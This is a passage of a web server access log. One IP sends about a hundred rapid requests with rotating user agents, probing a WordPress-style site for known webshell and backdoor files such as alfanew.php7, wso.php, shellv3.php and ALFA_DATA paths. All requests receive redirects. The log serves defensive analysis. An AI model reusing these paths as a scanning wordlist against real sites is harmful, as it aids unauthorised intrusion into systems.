(KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:01 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:01 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:01 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:02 -0400] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:22:02 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:22:02 -0400] "GET /wp-includes/SimplePie/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:02 -0400] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:02 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:02 -0400] "GET /wp-includes/SimplePie/gzdecode.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:02 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:02 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:03 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:03 -0400] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:03 -0400] "GET /wp-admin/css/colors/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:03 -0400] "GET /wp-includes/js/plupload/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:03 -0400] "GET /wp-uploads-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:03 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:03 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:03 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:04 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:04 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:04 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:04 -0400] "GET /load-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:04 -0400] "GET /load-styles.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:04 -0400] "GET /options-discussion.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:04 -0400] "GET /options-general.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:04 -0400] "GET /options-permalink.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:05 -0400] "GET /options-privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:05 -0400] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:05 -0400] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:05 -0400] "GET /post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:05 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:05 -0400] "GET /site-health.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:22:05 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:05 -0400] "GET /user-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:05 -0400] "GET /wp-by-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:22:05 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:22:06 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:22:06 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:06 -0400] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:06 -0400] "GET /km.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:06 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:07 -0400] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:07 -0400] "GET /wp-ldd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:22:07 -0400] "GET /sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:22:07 -0400] "GET /wp-admin/images/Mhbgf.php/wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:07 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:22:07 -0400] "GET /wp-content/themes/hariko/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:07 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:07 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:07 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:07 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:08 -0400] "GET /wp-content/themes/pridmag/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:22:08 -0400] "GET /FroggBaba.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:08 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:08 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:08 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:08 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:08 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:08 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:22:09 -0400] "GET /wp-admin/images/Mhbgf.php/xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:09 -0400] "GET /gali.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:09 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:09 -0400] "GET /cache/i/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:22:09 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:09 -0400] "GET /abouts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:09 -0400] "GET /malls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:09 -0400] "GET /liefs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:09 -0400] "GET /uc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:09 -0400] "GET /locks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:10 -0400] "GET /wp-dsdd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:10 -0400] "GET /wordpress/logsxxyyzz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:10 -0400] "GET /css/bun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:10 -0400] "GET /js/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:10 -0400] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:10 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:10 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:10 -0400] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:10 -0400] "GET /exit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:11 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:11 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:22:11 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:11 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:11 -0400] "GET /delete3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:11 -0400] "GET /wp-content/plugins/wp-doftx/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:11 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:22:11 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:22:12 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:22:12 -0400] "GET /phpzipincs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:12 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:12 -0400] "GET /css/wp-casper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:12 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:12 -0400] "GET /assets/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:12 -0400] "GET /wp-content/plugins/wp-doft/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:12 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:12 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:22:13 -0400] "GET /Kenneth.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:13 -0400] "GET /Rosette.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:13 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:22:13 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:22:13 -0400] "GET /service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:13 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:13 -0400] "GET /poi.PhP8/search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:13 -0400] "GET /brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:14 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:14 -0400] "GET /kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:14 -0400] "GET /wp-content/themes/cay-van-phong/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:14 -0400] "GET /wp-content/plugins/devvn-quick-buy/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:14 -0400] "GET /wp-content/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:14 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:22:14 -0400] "GET /profile.php6 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:14 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:14 -0400] "GET /home.php?xsec=team2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:14 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - 